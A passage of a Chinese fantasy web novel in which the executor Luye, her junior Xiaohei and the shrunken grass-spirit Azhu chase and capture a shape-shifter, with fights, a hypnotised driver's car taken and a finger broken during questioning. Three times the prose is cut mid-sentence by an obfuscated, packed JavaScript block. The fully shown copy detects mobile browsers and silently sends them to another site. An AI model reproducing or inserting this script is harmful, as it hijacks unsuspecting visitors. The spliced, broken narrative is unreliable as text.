但是鹿野对此一副接受良好、不甚在意的表情。 “好了,时间差不多了。抓紧我,掉下去的话我可不会去捡你。” 这后半句是鹿野对坐在她头顶的阿竹说的。 不过小黑觉得这句话好耳熟。就好像几个小时前他才听过一样。 吃饱喝足而显得有点犯困的小草人点点头,四肢迅速伸长出细细的草须,从鹿野的头顶两侧落下,然后一圈圈地轻轻缠在了她的脖子上。 说实话,像鹿野这种打人如挂画的战斗高手是不会轻易允许其他妖精的肢体缠绕在自己的脖子上。 因为太致命了。 只要阿竹愿意,她随时可以在鹿野战斗的间隙一下子收紧这些草须,令其变成某种“锁套”。 哪怕这一下勒不死鹿野,也能让鹿野出现重大的战斗破绽和失误。 但实际情况是,鹿野面对此景只是皱了皱眉,抬手调整一下脖子上的几根草须位置,确认它们不会妨碍到自己后就完全当作这些玩意儿不存在。 然后这女人抬起手,狠狠地揉了揉阿竹那无法反抗的小脑袋一阵,把她整个小草人都摁扁下去后才心满意足地松手。 “跟我来,小黑。” 14.开开车 就在小黑以为离开【洞桥会馆】后他们要展开紧张刺激的追踪了,结果鹿野的目光停留在会馆大门口附近的一家红白色招牌的便利店好几秒,随后对猫崽说:“我要去买点补给品,你要不要来一个雪糕?” 小黑超级心动,确实很想吃雪糕,但觉得现在还是非常严肃认真的调查时刻,根本无心吃零食,因此忍痛拒绝了师姐的好意。 “哟?这么认真。”鹿野有点意外,决定表扬敬业小猫,“继续保持。” 她就坦坦荡荡地顶着那只有气无力、扁扁的阿竹进入了便利店。 等过几分钟出来时,鹿野的手上已经多了一大袋的巧克力、糖果、压缩饼干等高热量食物。 这位执行者已将此店的高热量零食一扫而空,无论是货架上还是库房里的存货。 ——为了朋友而承包了整个便利店的糖果,委实是霸道总裁之举! 小黑探头探脑,发现塑料袋里都是食物,顿时很惊讶:“师姐,你要吃那么多糖?!” “不是我吃,是你阿竹姐吃。”鹿野一边说一边摸了两根士力架往头上一扔,阿竹下意识地伸手一卷,就把这热量爆炸的巧克力棒攥在手上了。 她连着巧克力棒的塑料包装纸一起就往嘴里扔。 嗯,消化得了。 “阿竹,你现在最重要的任务就是吃东西,其他事情少管。”鹿野把小草人取下来,对着她正色说道,“但如果敢把食物残渣掉到我头上,你就死定了!听明白没?” 阿竹的脑袋点得跟泼浪鼓似的,呆毛弹幕高高兴兴地组成了一个“点赞!”的大拇指图标,彰显着她的好心情,同时在鹿野说话间已经吃完了大半条士力架了。 就这样,小黑面色古怪地看着自家师姐一边到处在街头巷尾里查看灵力痕迹,一边时不时往头上扔几块糖果巧克力啥的。 阿竹姐就跟个大爷宠物似的,小小的草人身子彻底瘫在挚友的头顶,晒着午后太阳,然后每次都精准接住零食往嘴里塞。 期间果然一点碎屑都没有掉下来,因为阿竹从来都是一个非常珍惜粮食的妖精。 这也是她为什么挑食却还愿意吃蔬菜的最大原因。 这相当快活的一幕让小猫看得眼热,最后到底还是没忍住。 “那个,师姐,我可不可以……” “喏,也给你买了。”鹿野早有准备,似笑非笑地掏出一根草莓味棒棒糖递给他,“跟紧我就行。” ——小黑的心中顿时充满了对师姐的敬爱之情! 就这样,经过了大概半个小时的citywalk(在普通人看来是姐弟俩到处闲逛),鹿野在一家名为“还没吃好大排档”的店门口停住脚步。 呈现在她面前的是一个狭长的十字路口,所有的线索在这儿貌似都断掉了。 “师姐,怎么停下来了?”小黑刚刚在路边的垃圾桶扔掉吃剩的白色塑料棍,好奇地询问。 而阿竹在十分钟前已经彻底吃不动了,瘫在鹿野的头顶呼呼大睡,任由午后的猛烈阳光照射着自己的肚皮和脑袋,光合作用下睡得非常香甜。 “那个人从离开传送阵后就一直在修改自己的灵力特质,想要掩饰踪迹,但这一切的伪装都没用。” 鹿野也早就把手里的零食塑料袋暂时塞回腰带后方的乾坤袋里,如今两手空空,正是大展拳脚的好时机。 只见她深吸一口气,抬手,单膝跪地,以掌击地——当再度抬起手时,一张由无数白色灵力光点所组成的大网被她连根拔起! “哇!这是什么?”小黑惊奇地看着飘浮在空气中无处不在的白色光点,用手指戳了戳面前的一颗大光点,看它迅速碎裂成更微小的光点飘开。 鹿野平静地解释:“灵气存在于万事万物之中,每个人的‘灵’在我眼中都不同。” 此时小草人也感受到周遭灵气浓度的骤然变化,顿时揉着豆豆眼睡眼惺忪地坐起来,同时在脑门上打出了一个【?】的符号。 “没事。有我在。”鹿野看都不用看就抬手摸摸小草人的脑袋,“安心地睡吧。” 阿竹迷迷糊糊地点了一下头,连新弹幕都懒得变化打出,下一秒啪的又倒回去睡觉了。 继续光合作用.jpg 此时小黑眼尖地瞥见阿竹姐身上的枯黄色明显减少了一些,取而代之的是象征生命与活力的翠绿色泽。 他也挺为她高兴的,毕竟比起连筷子都拿不动的小草人形象,小黑觉得还是雪山上那个扛着大板子哈哈直笑的黑头发姐姐看起来更阳光健康一些。 顺着只有拥有灵力之人才能看得见的“网络”,师门姐弟二人很快就追踪到一个路口,鹿野大致评估了一下距离,决定抢车……啊不是,是借个车。 在使用执行者们常用的一个基础小法术把中年人类司机给催眠睡着后,这女人堂而皇之地坐上了司机位,踩刹车点火放手刹,一气呵成。 小黑都惊了,气鼓鼓地趴在副驾驶窗口怒斥师姐:“不可以抢劫!” “没抢,是借。” “借车也要别人同意才行!” 然而任务经验丰富的鹿野看都不看这正义小猫一眼,小心翼翼地把自己头上的朋友拿下来,放在副驾驶位置上,思考要不要给小草人系安全带。 阿竹勉强睁开眼看见是陌生的车内布置,顿时有些紧张,但很快发现鹿野就在旁边后,这个小家伙又继续东倒西歪地睡着了。 鹿野由衷地觉得阿竹也许需要一个“安全座椅”。 于是她抬头问挂在车窗外的猫崽师弟:“你到底来不来?” “……” 小黑噘着嘴,不情不愿地爬进车里,先是将熟睡的小草人抱在自己怀里,这才系好了副驾驶位置上的安全带。 “哼!师父临行前让我照顾你!”还不会开车的幼年小猫妖就这样嘴硬。 鹿野也懒得跟孩子争辩什么,反正抢车的事实已经成立,无论是阿竹还是小黑,大家都是共犯。 所以鹿野一言不发,直接一脚油门把车开走了。车后排上,人类司机睡得也非常香甜。 此行一路开到将近太阳落山的黄昏之时,车子已经远离了洞桥会馆所在的城市地区,来到郊外的道路上。 其实在两个小时前,小草人就又醒过来了。 她这次吃饱喝足外加晒够太阳后就变得很兴奋,精力十足,一会儿甩着草须在小黑身上上蹿下跳地玩,猫儿被她逗得直笑,一会儿爬上车内悬挂的平安符吊坠上看前方风景。 要不是乘客原则里写着不能妨碍司机开车,阿竹此时大概会爬上鹿野的头顶跳一曲桑巴舞。 不过负责开车的鹿野还是抽空摸出了零食袋子,塞给他们,玩够了的阿竹就继续美美吃高热量食物。 小黑看着也嘴馋,但他如今已经知道了阿竹姐比自己更加需要摄入这些食物来加速恢复速度,因此很懂事地勉强忍住了口水。 小草人想了想,还是主动分享给他一盒进口巧克力——便利店里最贵的那个牌子。 猫崽连连拒绝,把这盒巧克力推回去,但是阿竹不由分说地卷起一大块掰下来的巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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鹿野很淡地笑了笑,然后把坐在自己手套上的小草人举至眼前,平视着阿竹的眼睛:“还生我的气?你以前可不是这样小气的人。” 阿竹:? 阿竹:不记得了,总之就是生气.jpg 其实鹿野在这里是试图忽悠她,因为竹茂平时就是一个小气又记仇的庸医,只是很多人被她那副慈悲为怀、妙手回春的爽朗笑容所迷惑…… 就在鹿野思考着自己的忽悠到底有没有生效时,却没料到面前的小草人像是下定了某种决心那样,突然往前一跳! 这个小笨蛋直接跳到了她的胸口,甚至脑袋还撞在了她的外套布料上。 小小的草人伸出几根细长的草须再度缠绕住鹿野的脖子,轻飘飘地挂在她的胸口,跟个项链似的。 这回鹿野连忙把手掌缩回自己的胸前,让阿竹的脚能够踩到自己的手掌心当一个借力点,生怕这倒霉朋友挂不稳,一下子就掉地上了。 最后当阿竹自己调整好悬挂位置后,她抬头看了看正低头盯着自己的鹿野,单纯无比的豆豆眼眨了下,脑门上的野草弹幕不由自主地演化成了新的词汇。 【生气】 【师姐】 【喜欢!】 ——虽然很生气,但还是喜欢“师姐”。 看清楚这几个弹幕词汇演变的鹿野忽然就有点口干舌燥,说不出一个字来。 然而小黑在一旁发出了高手所见略同的赞许声音,忽然欢呼:“我也喜欢师姐!” “……说什么呢你们。该干活了。”鹿野别开脸,故作严肃地看向森林方向。 15.失败的夜市 阴暗的密林里,一大一小的身影正在飞速前进,不依照人类惯常走出的林间小路,而是循着某个方向,如飞鸟振翅般疾驰而去。 打头的自然是鹿野,她进入了工作状态,一心只有眼前那星星点点分布的可疑灵力路线,跑起来简直是电光石火,属于是难以被常人用肉眼捕捉到的速度。 就是可怜了师弟小黑。 这孩子虽然跟师父无限拜师学艺了一段时间,期间也不乏各种提升耐力和速度的训练,但这突如其来的马拉松竞赛也快要了小猫的一条喵命。 这还是他自动解开负重手环,并把它塞进师姐的乾坤袋里的前提下。 至于原本挂在鹿野脖子上的阿竹也因为这速度太快差点被吹飞,千钧一发之际,鹿野头也不回地在奔跑途中一把捞起自己原地起飞的友友,很无奈地将这小草人往自己外套和背心之间的隔层空间里一塞——这下安稳了。 小草人趴在她怀里,稍微探头出来,就感觉那一小撮头毛都要被迎面而来的狂风给吹掉了…… 要秃顶了! 这可把阿竹吓得火速把脑袋缩回那遍布挚友温暖体温的外套底下。 小草人就这样听着近在咫尺、稳重而略快的心跳,感受着外面因为大幅度奔跑运动而带来的体温热气升腾和呼啸而过的风声。 它乖乖地坐在昏暗的衣服布料底下,一双墨绿的豆豆眼时不时眨巴一下,也不知道在想什么。 “哈……哈……呼呼……” 小猫跑得够呛,气喘如牛,两条小短腿都感觉快要失去知觉了,然而他眼前的众多树木瞬间减少,映入眼帘的是一处豁然开朗的土坡。 在夜色和星光的笼罩下,宽广的郊区平原就这样突然出现在眼前,陈列在这片大地上的高压电如蜿蜒的金属巨龙,就这样静静地蛰伏在广袤的黑暗土地上。 那通天高塔上的信号灯时不时闪烁一下红色光点,宛若大地的龙鳞在摩挲碰撞着彼此。 鹿野纵身飞跃,狂风吹来,平原夜景这辽阔寂静的一幕同样被她尽收眼底。 某种久违的快意顿时浮上心头。 在她眼中,奔流的红色可疑灵力化作四道“河流”,浩浩荡荡地奔向不同的四个方向。 但鹿野见状顿时面露嘲讽的笑容,她闭上眼睛,待到重新睁开时,眼眶里已亮起血光一片。 “雕虫小技!” 周遭似有碎裂的风声涌动。 虚假的灵力之河瞬间崩散,当所有伪装都褪去的那一刻,留在这个女人眼里的答案就是唯一的正确方向。 鹿野在高压电缆塔上意气风发地等了自家师弟几十秒的时间。 在这个短暂的间隙里,察觉到“中途停车”的阿竹终于疑惑地探头出来。 这货东张西望了片刻后,发现自己所处的位置现在很高,因此在脑门上打出了一个问号。 【?】 给我干哪儿来了?还下得去不? 不知为何就是莫名其妙能理解这一个符号代表什么意思的鹿野顿时颇为不快,她果断伸出手,捏住这个小草人的脑袋和身躯,又是一阵不要钱的揉搓:“当然。你在怀疑我?” 呆毛弹幕很快变成一堆乱码。 阿竹被这个坏女人揉扁捏圆的,一时间难以反抗,只好生无可恋的任鹿野玩弄。 两人玩闹了一会儿(阿竹单方面被玩),小黑才气喘吁吁地跑过来。 眼看这倒霉孩子都快站不稳了,鹿野才挑挑眉,游刃有余地跳下高压塔,把自家师弟带上一台随手打来的路边汽车。 说是路边拦车什么的,但实际怎么样,大家懂得都懂。 ——我们【妖灵会馆】执行者自有国情在此。 在开车追着那道灵力踪迹前往附近另外一个城市的市区方向之际,因为鹿野要一边开车一边开着那种追踪灵力的特殊视野,所以车子开得很慢。 问题是,她开在了最左侧的超车道上。 后面的汽车都受不了这样“不懂交通规则”的“马路杀手”了,纷纷狂打双闪灯光和鸣笛催促,试图让这家伙尽快变道,驶离这条特殊的“快车道”。 然而老司机鹿野完全无视这些路人的无效干扰。 有本事你们就开车从她头上飞过去吧。 坐在副驾驶位置上的小黑倒是累得一双猫耳朵都耷拉下来,小口地吃着面包,补充消耗。而阿竹则是坐在他的腿上,没啥胃口,同样生无可恋地用双手捂住了脑袋那大概是耳朵的位置。 但是噪音和闪光依然存在…… 在一猫一草被迫煎熬了快一个小时后,貌似在城市里到处兜风的鹿野忽然眼前一亮:“有了!” 于是他们在高速岔路口的网格处临时停车,唤醒原本的人类司机,弃车跑路,追寻那灵力方向而去。 这地方居然是一处非常热闹繁华的夜市,人声鼎沸,摩肩接踵,这个晚饭的时间点正是夜市今日生意开始红红火火的时刻。 什么臭豆腐轰炸大鱿鱼福鼎肉片烧烤羊肉串之类的各种食物香味混杂在一起,摊贩上炒菜和炒粉爆炒时的浓烈锅气逸散,坐在路边小桌旁的食客对着热腾腾的香辣火锅大快朵颐…… 阿竹那双圆溜溜的豆豆眼一下子都看直了。 她下一秒从鹿野的外套底下飞速爬出来,手脚并用,就要去偷人家点的明火烤串——然后被鹿野眼疾手快地一把抓住,再次塞回自己怀里。 “这里人多眼杂,你现在的形象不适合出现在公众面前。更何况我们还没抓到嫌疑人。”鹿野低头拉开自己的外套衣襟,耐心地对着里头那个气鼓鼓的小草人解释道,“真想吃,晚点我再给你叫外卖。” 阿竹想想这话好像是很有道理,又看了看自己那绝非人类世界观里所能理解接受的草木四肢,确实一时半会没法化作人形。 这个小草人只好很颓废地又坐回原位,暂时听从鹿野老大的安排。 【√】 她非常忍耐地在脑门弹幕里打了个勾,表示同意。 “……嗤。” 鹿野的嘴角不易察觉地微微翘起,要不是现在的场合实在不合适,看着难得这么好玩可爱的友人,她大概又要忍不住伸手去自己怀里捏一把了。 此时小黑快步赶过来,生怕人太多跟丢了两个姐姐,听到鹿野的言语后忍不住问:“师姐,在这儿很难找到那个人吗?” “对,虽然灵力是指向这个夜市,但这儿人太多了,各种灵混在一起,我反而难以准确快速地找到那家伙。” 尽管被师弟打断了思绪,不过鹿野也不恼,同样耐心地为小猫多解释几句。 但就在小黑还想要问出下一个问题时,走在后头的鹿野口中突然发出了一声略显古怪的低喝。 “哈!” ——她强行操纵了那把原本暗中刺向自己的金属小刀,相当于在与握刀之人的力道做对抗。 在这双方力道推拉对抗的瞬间,下一秒,鹿野手臂上的肌肉尽数鼓起,整个人同时如一条滑不留手的泥鳅那样在对抗中翻身转体,伸出另外一只手,从而一把抓住了那个满脸不可置信男子的手腕。 这是一个头发灰白、穿着橙色连体衣和运动鞋的精神小伙儿,耳朵上还打着潮流的耳钉环,看着就好像下一秒要去村口集合摇花手、自带水泥一样。 他怒视着鹿野,眼睛里交错闪烁着名为惶恐和愤怒的复杂情绪,一对尖尖的耳朵出卖了他同为妖精的身份。 小黑瞪大眼睛,没有立刻反应过来怎么就会有人偷袭自家师姐,而鹿野也略微愣住了。 她完全无法理解怎么会有人用一把金属武器对付一个御金系的战斗人员! 阿竹那种傻子庸医都知道要对付她的话,好歹在饭菜里下点泻药,而不是拿金属武器攻击她。 这人既然敢在闹市区向她出手,说明早就认出她鹿野这位追踪高手的真实身份——不是,你们都不提前了解一下目标的能力吗? 这就跟拿一桶油去灭火有什么区别? 思来想去,鹿野只能认定是这个精神小伙儿妖精太蠢了。 “鹿野!你这家……”小伙儿咬牙切齿道,但是鹿野才不听他的废话,手腕翻转,一个圆球状的空间系牢笼出现在她的掌心里。 眼看该牢笼就要像是吸尘器吸走灰尘那样把此人吸进去关押,不料这个连体衣小哥拼命地暴起反抗,于是两人一起摔进了距离最近的一个廉价衣服批发摊位,引发摊主和买衣服客人的阵阵惊叫声。 小黑立刻冲过来想要帮忙,三人在混乱中扭打在一起,猫儿下意识地飞起一脚,直接把这人给踹飞出去一个特别远的距离。 连体衣小哥顾不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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鹿野怀里的小草人听到有人喊自己的名字,立刻探头出去,看清楚后顿时也傻了眼。 啊?你是竹茂,那我是谁?我就是一个普通路过的小草人吗?? 看着面前挥着手试图让自己冷静下来的“竹茂”,鹿野一时间还是瞪大了眼睛,难以置信地看向不远处这张格外熟悉的面孔。 有种啼笑皆非的感觉充斥着鹿野的胸膛。 但与之一起涌现心头的,是某种愤怒到爆炸的情绪! ……鹿野绝不允许有人敢在她面前这样冒充自己的挚友。 没人可以这样随意玩弄她和那个人长达七十余年的珍贵情谊。 没有人!! 暴怒之下,鹿野那攥紧五指的铁拳在眨眼间跨过了十几米的距离,猛地贴在了那个虚假的“竹茂”的脸上。 由于这一拳的速度太快,以至于拳头都打出去了,鹿野的外套衣袖才跟着惯性往前甩了一下。 轰隆隆! 这个假医生被直接打飞出去,撞到了后方不远处的建筑外壁上。 鹿野那一拳宛若隔山打牛一般的恐怖气劲从此人的背后尽数透出,化作一圈散开的半透明气浪,并且直接碾碎了后方一整面坚实墙壁和里头的大部分家具摆设! “咳咳……” “竹茂”狼狈地吐出一大口血,弯着腰翻身逃走,却依旧不肯解开变身术法。 鹿野见状觉得还是不解气,立刻一边追过去一边痛骂这个不要脸的蠢货。 “你瞎变什么!阿竹才不会把医生的白大褂穿到这种公众场合里乱晃!” ——《关于印发相关院感规章制度和工作条例的通知》一文没看过吗蠢货?! 前面逃跑的那个家伙想了想,居然还真的取消了白大褂的伪装,变成了一身正常服饰的“竹茂”,但依旧是没命地逃窜,连头都不敢回一下。 鹿野都快被这货给气笑了。 什么玩意儿。 在这个时候,全神贯注追击的鹿野忽然察觉到什么,用眼角余光往怀里一扫,果然发现不知何时探头出来的小草人神情委屈巴巴又很震惊不安地抬头看着自己,像是想要一个答案。 “阿竹,你才是真的。”鹿野斩钉截铁地说,她冷冽却又坚定的声音在风中传递过去,“我从来不会认错人。” 阿竹彻底安心了。 16.今晚已经 眼看这个擅长变身法术的妖精顶着一副“竹茂”的外表在夜色里抱头鼠窜,偏偏还鼻青脸肿的,实在是猥琐得不行。 后方追击的鹿野看到这冒牌货就来气,索性直接操控沿路的众多金属器具疯狂瞄准敌人进行抛射打击,好几次差点把人真的给击中。 跟死神屡次擦肩而过的倒霉妖精一寻思,这样下去不行啊,鬼知道鹿野为什么看见至交好友的脸后还这么生气。 莫非这就是传说中的塑料姐妹情?不懂。 恰好此时小黑也追了上来,这人就仗着某些欺负小孩的阴暗念头,想要率先摆脱小黑的追击。 ——我打不过鹿野,难道还打不过你个小鬼吗? 可惜事实是残酷的,不管变成什么样子,精神小伙儿依旧被天才猫崽无情吊打。 在几乎命丧黄泉的极度慌乱惊恐之下,此人不敢再维持“竹茂”的外形了,干脆破罐子破摔的化身为小猫的师父——无限。 可惜,依旧是个鼻青脸肿、浑身脏兮兮的“无限”。 “小黑!停下!”他假模假样地制止了挥着喵喵拳冲过来的小黑,色厉内荏地大吼:“别打了!我是你师父!看清楚,我是无限,是你的师父!” “……” 小黑被这个假师父一时间唬住了,举起的拳头也迟疑着没有打出去。 此时鹿野身手敏捷地跳到了一旁的民居房檐上,脚步如猫一般轻盈落地,但看到这一幕还是彻底无语了。 怎么会有人蠢到梅开二度地玩当面变身的戏法! 这人不会是把她和师弟都当傻子吧。 趁着这个时候,小草人也窸窸窣窣地从鹿野怀里爬出来,抓着她的肩膀和脖颈往上爬了几步,一下子窜到她头顶的位置,坐下看戏。 鹿野也没拦着阿竹那狗狗祟祟的看戏行为,只是浑不在意地说:“自己抓紧点。” 阿竹无声地点点头,脑门上的杂草弹幕打出了两个【OK】的英文字母。 然后她们就这么好整以暇地欣赏了一出《慈爱师父孝顺徒》的名场面。 只见小黑拽着这个顶着这个冒牌货“无限”,想着自己过往拜师学艺期间受到的种种委屈,当即不再留手,直接展开了一段上天入地的狂殴。 期间破坏基础公共设施若干,打得这位“无限”发出了堪比汤姆猫的嗷嗷惨叫,最后整个人只剩下出的气,没有进的气了。 面对这样哄堂大孝的场面,身为师姐的鹿野不仅没有及时站出来制止,反而第一时间掏出手机开始全程拍摄录像,并且在拍摄过程中发出了实在无法抑制的爽朗大笑。 ——我们执行者们都是受过专业训练的,除非忍不住,不然一般不会笑出来。 失忆的阿竹不太理解“师姐”为什么笑得那么开心,但是看小朋友殴打弱鸡大人这种戏码也很好玩,于是她也兴致勃勃地蹲在鹿野的脑门继续看戏。 只是不知道为何,这小草人的脑子里悄无声息地浮现出一句奇奇怪怪的吐槽。 【老爷,大小姐好多年没这样笑了。】 阿竹:? 啥意思?这都谁和谁? 等小黑玩够了,“无限”也再也维持不住变身术法,变回最初那个灰白色头发的连体衣小伙儿模样,满身伤痕的跪了。 鹿野结束拍摄并且慎重地点击“保存该视频到相册”后,方才跳下屋檐,拍了下师弟的脑袋夸奖道:“不错嘛。” “嘿嘿。”小猫羞涩地摸摸头,完全看不出周遭的暴力破坏痕迹是出自他手。 鹿野以一种类似单膝下跪的姿态,大马金刀地抬起一条腿直接跨过此人的后背,鞋底踩在他的身侧地面上。 同时她的另一条腿弯曲下跪,牢牢地压在这人的后背脊椎处,架构出一种让犯人惊呼“我无法呼吸!”的标准跪压姿态,以自身体重的压制彻底令其无法起身。 她神色凛然而危险地俯视着这个倒在地上的精神小伙儿,后者双手被一根变形成枷锁状的金属束缚在背后,动弹不得。 “皆逆荒,我先前听说过你。”鹿野饶有兴趣地开口,“事到如今,你还是老实交代吧。” “……” 皆逆荒的脸朝下躺着,被迫摁在满是水泥粉末碎屑和灰尘的地面上,搞得脏兮兮的。但是这小伙子咬紧牙关,死死地用眼角余光瞪着自己身后的鹿野,显然是打定主意一个字不说。 “哼。” 鹿野面色微沉,时间紧迫,她没有多少时间跟这些家伙玩拷问游戏。她当即抓起皆逆荒背后的一根中指,大力往反方向一掰—— 伴随着一声令人牙酸的古怪脆响,那根手指的骨头关节尽数粉碎,以不正常的扭曲模样软绵绵地耷拉下来。 皆逆荒的暗红色瞳孔骤然缩紧,他一时间痛得浑身都在剧烈颤抖,牙缝里透出丝丝缕缕的痛音,呼吸也明显加重许多。 可他还是什么都没说。 抑或者是,当他的目光因为剧痛而不自觉地向上飘起,然后他看见了坐在鹿野头上的那个小草人。 这世上能坐在鹿野脑门上还若无其事的妖精能有几个? “……竹茂!”他实在按捺不住震惊,咬着牙说道,“你果然活下来了!” ——老大的推测是对的!这家伙就是出现在流石会馆里并且成了那儿的幸存者! 小草人歪歪脑袋,东张西望片刻后发现这精神小伙儿居然是在怒喷自己,顿时愈发困惑起来。 不是哥们,你骂我一个路过的野生小草人做什么。 就因为我没有打你吗? 但是皆逆荒接下来紧紧地闭上眼睛,哪怕痛得浑身颤抖也一个字都不肯再透露。 鹿野本就因为他再次提起【流石会馆】惨案而颇为不悦,再加上此人这副愚蠢但硬骨头的模样,她的脸色变得愈发阴沉起来:“你现在不说,可以。但等到了总馆就由不得你不开口了!” 说罢,不等皆逆荒作何反应,她就使用圆球状的空间系牢笼将这犯人收纳关押起来。 由于这次抓到的犯人很弱,在大松面前只有被吊打的份,所以鹿野认为这小子肯定不是主谋,但当务之急还是护送犯人返回总部去拷问情报。 于是鹿野带着两只萌物再次一路驱车回到了洞桥会馆所在的地区,想要使用传送门回总馆。结果…… “什么?传送门还没修好!”鹿野震怒。 中年秃顶分馆长很无奈地用手帕擦擦脑门的汗:“没办法啊,您把墙都拆了。起码还要维修三天吧。” “……” 一旁的小黑和坐在猫崽头顶的阿竹一起默默地扭头看过去,发现鹿野本人正在略显心虚的战术喝水。 距离此地最近的分会馆是【风灵会馆】,大概是2300公里,从目前的情况来看,飞机是最快捷高效的交通方式。 而且【洞桥会馆】还没有专属的私人飞机。 鹿野沉思片刻,决定让这位馆长帮忙订两张明日最早的本地航班机票——什么?阿竹的位置? 那草包朋友这么小一只,哪里用得上正儿八经的成年人座位,直接坐她怀里就可以了。 中年馆长面露难色,迟疑半晌还是告诉鹿野,你被通缉了,按理我是没办法给你们订机票的。 “通缉?……我这不正要回去嘛,还是说你抓我回去?” 鹿野随口打趣道,注意到这位馆长面前的台式电脑屏幕上呈现出自己最新的通缉令。 用的是她五十岁那年拍的证件照。 照片里鹿野的眼神比如今的更锐利冷酷,一看就是超级危险分子,如今她自觉还算是收敛锋芒许多了。 此外,鹿野还眼尖地瞥见通缉令上面用小字写着“此人疑似绑架总馆医院医生竹茂,若有见者,切勿正面冲突,请及时举报”之类的字样。 ……什么蠢货写的通缉令内容。 她跟竹茂的关系好得很! 就算她决定去绑架池年那头土老虎都不可能去绑架阿竹!写通缉令的起稿人是白痴吧? 鹿野暗暗地咬了咬后槽牙,莫名其妙就不爽起来。 秃顶中年馆长当然不可能真的抓捕鹿野这位近些年来声名鹊起的战斗专家回总馆。 开玩笑,谁抓谁啊。而且就算鹿野束手就擒,自己要怎么去最近的其他会馆传送阵?坐飞机吗?那跟现在人家自己回总部有什么区别。 于是这位大叔妖精讪笑着摆摆手:“不敢不敢,我这就帮二位……呃,三位订票?” 这人还挺客气的,没有像是寻常妖精那样无视小小一只的阿竹,难怪能混成一个分会馆的领导。 “她不用座位,跟我坐一个位置就行。”鹿野神情平淡地说,顺手把猫儿脑门上的小草人一把薅过来揉了几下,“也算是给你们省点今年的因公经费。” 趴在她掌心里的阿竹看起来已经习惯了,扁扁地瘫着,任由鹿野随意用手指戳戳自己的脑袋和肚皮,甚至还有心情歪着头去看电脑屏幕上的通缉令。 然后小草人在脑袋上的生草弹幕里打出了一个问号,意思是“这是你吗”。 “是我。”鹿野回答。 阿竹没心没肺地给她点了个赞,浑然没觉得“被绑架”的自己有什么问题。 “哎呀,鹿野大人您太客气了。” 馆长决定装作没有看见“通缉犯跟被绑架的人质愉快互动”这古怪的一幕,笑着掏出手机,打开聊天软件的好友界面,“来,我加一下您。” 等诸事解决后,鹿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170782|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野一挥手,并未在【洞桥会馆】留宿,而是带上小猫师弟和草包朋友去了本市最好的大酒店下榻。 ………… …… “呜哇哇!” 小黑发出惊呼,这孩子就如同第一次进入大观园的刘姥姥,看着眼前开阔到难以想象的豪华总统套房,情不自禁地发出阵阵欢笑。 “这都是我们的吗?”他有点不太敢相信地回头问自家师姐。 “对。” 鹿野关上门,顺手把趴在自己头顶的小草人取下来,放到地板上方便让阿竹自己到处看看。 阿竹突然发现自己坐在地上,左右环顾了一下对自己来说堪比操场的豪华套房客厅后,顿时疯狂摇头。 才不要! 于是这个小草人三下五除二地伸长草木四肢,抓住鹿野的裤子和腰带等攀爬点,一下子又爬回这个白发妖精的肩头了。 鹿野很鄙夷地斜视她:“懒死你得了。” 【?】 阿竹无辜地挠挠头,一副听不懂的样子。可是鹿野也由着她去了。 猫儿倒是超级兴奋地跑来跑去,一路欢呼雀跃地在客厅、书房、不同房间、天台游泳池上来回穿梭,鹿野载着某个懒到不想走路的小草人朋友,把整个套房转了一圈,并在关键的门窗位置贴上了一道道不起眼的符箓。 小黑并没有注意到这点,他兴奋得就跟获得新玩具的猫儿没什么区别。 鹿野一边打开手机的外卖软件下单买等会要用的换洗衣服,一边驱赶小朋友去洗澡。 “你今晚用那边的浴室和房间,先去洗个澡吧。” “好!” 猫儿噔噔噔地冲进去,赤脚在高档木地板上踩出兴奋的回响。 此时阿竹已经迫不及待地跳到了客厅桌子上,打开了那本比她如今这幅小草人躯体还要高大沉重的叫餐服务菜单,非常专注地研究起来。 鹿野也凑过头去看了一眼,觉得这些菜还行,就对着已经进去的师弟喊了一声:“小黑,我和阿竹打算叫个餐,你要不要一起吃?” “好!!” 猫儿狂喜乱舞,噔噔噔地又冲出来。 对于这只兴奋小猫的各种活泼举动,如今的鹿野已经见怪不怪:“先去洗澡。” 猫儿第三次大喊着“好!”的回答并掉头冲进自己的浴室里。 阿竹抬头看着小黑进去洗澡的走廊方向,陷入了沉思。 小猫都有地方洗澡,那我今晚在哪里洗澡呢? 鹿野拿起一旁酒店提供的便签本开始写起打算叫哪些菜,至于上面没写的个别菜品也无所谓,只要砸钱到位,一定有人愿意提供服务。 “阿竹,你想吃什么?”她问。 小草人早有准备,翻开菜单上其中几页后,分别在个别菜品上面戳了戳,然后脑门上打出一个【x】。 随后阿竹又把整本菜单合上,整个人跳上封面,然后翘首以盼地看着鹿野。 这意思是,除了那几道菜不要,其他每样都来一份。 鹿野:“……” 鹿野:“吃得完吗你。” 阿竹用手指了指鹿野,一副笃定的样子。 鹿野摇摇头:“要是你正常形态的话,肯定不会浪费。但现在嘛……真没必要叫那么多。” 意思是小草包你太弱了,连平日里的正常饭量都赶不上。 虽然知道她说得没错,浪费粮食也不太好,可这并不妨碍阿竹颇为生气地跳下桌子,跑过来就为了踢鹿野的小腿一下,以此泄愤。 其实鹿野完全没感觉,毕竟还隔着那条长裤的阻碍,不过她还是配合地敷衍了一下笨蛋朋友:“啊,好痛。” 她冷淡的声线里毫无情感波动,就是俗称的“棒读”。 不过阿竹又高兴起来…… 